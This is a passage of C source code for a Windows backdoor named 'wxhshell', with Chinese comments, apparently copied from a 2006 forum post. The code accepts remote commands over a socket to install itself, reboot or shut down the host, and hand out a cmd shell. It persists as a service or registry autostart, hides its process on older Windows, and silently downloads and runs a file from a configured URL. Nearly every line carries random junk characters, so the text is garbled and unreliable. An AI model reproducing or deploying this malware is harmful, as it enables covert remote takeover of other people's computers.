    switch(cmd[0]) { !@N?0@$/  
  K :~tZ  
  // 帮助 b(Tvc  
  case '?': { %b4tyX:N0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W g6H~x  
    break; `.3@Ki~$#  
  } VO=Ibu&X  
  // 安装 c:>&YGmhu  
  case 'i': { hh*('n>[  
    if(Install()) ;e/F( J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5I^;v;F  
    else +`g&hO\W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pi/0~ke4"  
    break; U,;796h  
    } ~!8j,Bqs+z  
  // 卸载 QHf&Z*Xtl  
  case 'r': { [Z#Sj=z  
    if(Uninstall()) v~x4Y,m%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]W`?0VwF  
    else ~ &Ne P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PoPR34] ^J  
    break; QeuM',6R  
    } Y_!+Y<x7v  
  // 显示 wxhshell 所在路径 )Se$N6u-  
  case 'p': { mTxqcQc:7  
    char svExeFile[MAX_PATH]; 1PUZB`"3  
    strcpy(svExeFile,"\n\r"); GJr mK  
      strcat(svExeFile,ExeFile); 3]mprX'  
        send(wsh,svExeFile,strlen(svExeFile),0); S)j( %g  
    break; bp=r]nO  
    } f pq|mY  
  // 重启 K.Y`/<  
  case 'b': { cGgfCF^`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aK@ Y) Ju'  
    if(Boot(REBOOT)) xUsL{24  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mh5> hD  
    else { s_VcC_A  
    closesocket(wsh); 9,`i[Dzp  
    ExitThread(0); PE4 L7  
    } Q+9:]Bt  
    break; z06,$OYz  
    } SM4`Hys;p  
  // 关机 ~h;   
  case 'd': { 2J&~b8:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c:7F 2+p  
    if(Boot(SHUTDOWN)) nv@z;#&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n>j2$m1[  
    else { !uW*~u  
    closesocket(wsh); I@/ G#3Zr  
    ExitThread(0); V@k+RniEO  
    } J*$%d1  
    break; [B)!  
    } b2UDPW  
  // 获取shell `7: uc@  
  case 's': { @GQfBV|3  
    CmdShell(wsh); 4i)5=H  
    closesocket(wsh); :!oJmvy  
    ExitThread(0); goIv m:?  
    break; 2RX]~}  
  } #[{{&sN  
  // 退出 0HoHu*+FX  
  case 'x': { 6Qt(Yu*s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xBTx`+%WS  
    CloseIt(wsh); Y|fD)zG_  
    break; ?I[8rzBWU  
    } $e7%>*?m  
  // 离开 K_)~&Cu*'  
  case 'q': { j}ob7O&U'w  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #:gl+  
    closesocket(wsh); .b3h?R*&  
    WSACleanup(); AF{uFna  
    exit(1); 4@{c K|  
    break; Gc`PO  
        } vu*e*b$}  
  } 7 mCf*|  
  } 8c)GUx  
\(i'iC  
  // 提示信息 ?pW1}: z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9Q4{ cB  
} F(ydqgH~a  
  } o{,I O!q  
w{*kbGB8s7  
  return; 9AVj/?kmU  
} ,6;n[p"h|r  
V ,p~,rC  
// shell模块句柄 w<`0D)mQ  
int CmdShell(SOCKET sock) 6T$=(I <4  
{ mBErU6?X,A  
STARTUPINFO si; ~-A"j\gi"  
ZeroMemory(&si,sizeof(si)); (NLw#)?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LRu,_2"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =;0-t\w!  
PROCESS_INFORMATION ProcessInfo; PG63{  
char cmdline[]="cmd"; *0>`XK$mWo  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p*Q-o  
  return 0; hE {";/}J  
} $\NqD:fgb  
$vu*# .w  
// 自身启动模式 -13}]Gls7Q  
int StartFromService(void) \.mVLLtG  
{ -H6[{WVW!  
typedef struct Qf( A  
{ ,<%uG6/",g  
  DWORD ExitStatus; +;~o R_p  
  DWORD PebBaseAddress; (SRY(q  
  DWORD AffinityMask;  b M1\z  
  DWORD BasePriority; [ *Dj:A)V^  
  ULONG UniqueProcessId; vWoppt  
  ULONG InheritedFromUniqueProcessId; k4V3.i!E  
}   PROCESS_BASIC_INFORMATION; ^yPZ$Q  
X+]>pA  
PROCNTQSIP NtQueryInformationProcess; ts,r,{  
Wz' !stcp  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MMFg{8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r"2lcNE  
#Q!Xz2z2  
  HANDLE             hProcess; I0zx'x)F  
  PROCESS_BASIC_INFORMATION pbi; Qa_V  
33DP?nI}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !0@4*>n  
  if(NULL == hInst ) return 0; Z>`\$1CI  
m*]`/:/X[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Dq<la+VlO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  J| N 6r  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X~jdOaq{F:  
%FYhq:j  
  if (!NtQueryInformationProcess) return 0; ^Ye(b7Gd  
T$lV+[7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R278^E  
  if(!hProcess) return 0; ? #rXc%F  
-kk7y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $L= Dky7  
|s! _;6  
  CloseHandle(hProcess); M]PZwW8  
gw"cXny  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :o8`2Z*g  
if(hProcess==NULL) return 0; b 5|*p(7[  
D@La-K*5  
HMODULE hMod; 'l^Bb#)"  
char procName[255]; +JtKVF  
unsigned long cbNeeded; UH>~Y N  
/#Pm'i>B  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B9NUafK=  
eV*QUjS~  
  CloseHandle(hProcess); >;4q  
&b#d4p6&l  
if(strstr(procName,"services")) return 1; // 以服务启动 Nx.9)MjI  
J`5+Zngr  
  return 0; // 注册表启动 m .(ja  
} Em&3g  
@}4>:\es  
// 主模块 Hy3J2p9.  
int StartWxhshell(LPSTR lpCmdLine) 4N,[Gs<7  
{ Hes!uy  
  SOCKET wsl; x >ah,  
BOOL val=TRUE; Fl.?*KBz  
  int port=0; r:V bjmL  
  struct sockaddr_in door; ^)9/Wz _x  
tM"vIz 05  
  if(wscfg.ws_autoins) Install(); B7uK:J:c*H  
K uwhA-IL  
port=atoi(lpCmdLine); o?}dHTk7  
b~&cYk'  
if(port<=0) port=wscfg.ws_port; q+9^rQ  
FL\pgbI  
  WSADATA data; ~:JAWs$\V  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q,ie)`  
4C?{p%3c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P-ZvW<M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }K 'A/]'  
  door.sin_family = AF_INET;  ="]r{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N>3{!K>/Y:  
  door.sin_port = htons(port); =iW hK~S  
Q(<A Yu  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _XZK2Q[  
closesocket(wsl); 2T*kmDp  
return 1; <y?+xZM]#|  
} -I{op wd  
!7\dr )  
  if(listen(wsl,2) == INVALID_SOCKET) { ?:/J8s [O  
closesocket(wsl); e*'bY;8lo  
return 1; pHR`%2!"t  
} ^?fsJ  
  Wxhshell(wsl); &c-V QP(  
  WSACleanup(); fASklcQ  
xytWE:=  
return 0; 4'D^>z!c  
N_:!uR  
} 4wKCz Py  
g.Ur~5r  
// 以NT服务方式启动 =55)|$hgD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NUnwf h  
{ ww %c+O/  
DWORD   status = 0; 'exR;q\  
  DWORD   specificError = 0xfffffff; $o+@}B0)  
G?F!Z"S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~uY5~Qs9G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e?(4lD)d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9*j"@Rm  
  serviceStatus.dwWin32ExitCode     = 0; [i~@X2:Al  
  serviceStatus.dwServiceSpecificExitCode = 0; A* qR<cp[  
  serviceStatus.dwCheckPoint       = 0; "=]'"'B:  
  serviceStatus.dwWaitHint       = 0; ?_{{iil  
d^?e*USh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6@0? ~  
  if (hServiceStatusHandle==0) return; g#{7qmM  
w,6gnO  
status = GetLastError(); HHyN\  
  if (status!=NO_ERROR) ;(E]mbV'=  
{ xPF.c,6b4=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h{yh}04P1  
    serviceStatus.dwCheckPoint       = 0; uuHs)  
    serviceStatus.dwWaitHint       = 0; 8}oe))b  
    serviceStatus.dwWin32ExitCode     = status; P<1&kUZL  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4t*VI<=<[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }5" Rj<  
    return; #( 4)ps.  
  } KxmB$x5-=8  
IwXQbJ3v_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SPT x-b[  
  serviceStatus.dwCheckPoint       = 0; @(/$;I,  
  serviceStatus.dwWaitHint       = 0; V:D?i#%,z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Xa}y.qH  
} FzsW^u+  
bneP>Bd  
// 处理NT服务事件,比如:启动、停止 Ki :98a$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F9_X^#%L  
{ '&AeOn  
switch(fdwControl) hNcEBSQ  
{ l Hu8ADva  
case SERVICE_CONTROL_STOP: 5?#AS#TD'  
  serviceStatus.dwWin32ExitCode = 0; {R~L7uR @O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sZa>+  
  serviceStatus.dwCheckPoint   = 0; FGMYpapc~  
  serviceStatus.dwWaitHint     = 0; Fvv/#V^R  
  { '}Jq(ah(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (:# 4{C  
  } cpq0' x\  
  return; pR:cnkVF  
case SERVICE_CONTROL_PAUSE: &C/,~pJ1S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dr=KoAIxy  
  break; 2c9]Ja3:6  
case SERVICE_CONTROL_CONTINUE: AdF[>Wv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y9GaxW* &  
  break; #Nv0d|0\  
case SERVICE_CONTROL_INTERROGATE: Ga"<qmLMc  
  break; SP|Dz,o  
}; {M0pq3SL*t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KDAZG+u+  
} wdgC{W Gl  
W-"FRTI4  
// 标准应用程序主函数 -QydUr/(o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 74Il]i1=  
{ 03y5$kQ  
m}-~VYDj  
// 获取操作系统版本 (XA]k%45  
OsIsNt=GetOsVer(); k@C]~1  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  /I' np  
,OO0*%  
  // 从命令行安装 $66DyK?  
  if(strpbrk(lpCmdLine,"iI")) Install(); -}<W|r  
}"9jCxXL  
  // 下载执行文件 G0$,H(]~  
if(wscfg.ws_downexe) { Kd,7x'h`E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) RiAY>:  
  WinExec(wscfg.ws_filenam,SW_HIDE); $zV[- d  
} R<-(  
8h7z  
if(!OsIsNt) { ]2B=@V t,  
// 如果时win9x,隐藏进程并且设置为注册表启动 O!\\m0\ e  
HideProc(); M&O .7B1}  
StartWxhshell(lpCmdLine); GCPSe A~cx  
} j'JNQo;q  
else f qU*y 6]  
  if(StartFromService()) {p(.ck ze+  
  // 以服务方式启动 }Pe0zx.Ge  
  StartServiceCtrlDispatcher(DispatchTable); ~I)\d/7o  
else 8MPXrc,9-  
  // 普通方式启动 My!<_Hp-W  
  StartWxhshell(lpCmdLine);  snyg  
p} }=li>  
return 0; U_c.Z{lC4  
}
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只看该作者 1 发表于: 2006-10-10
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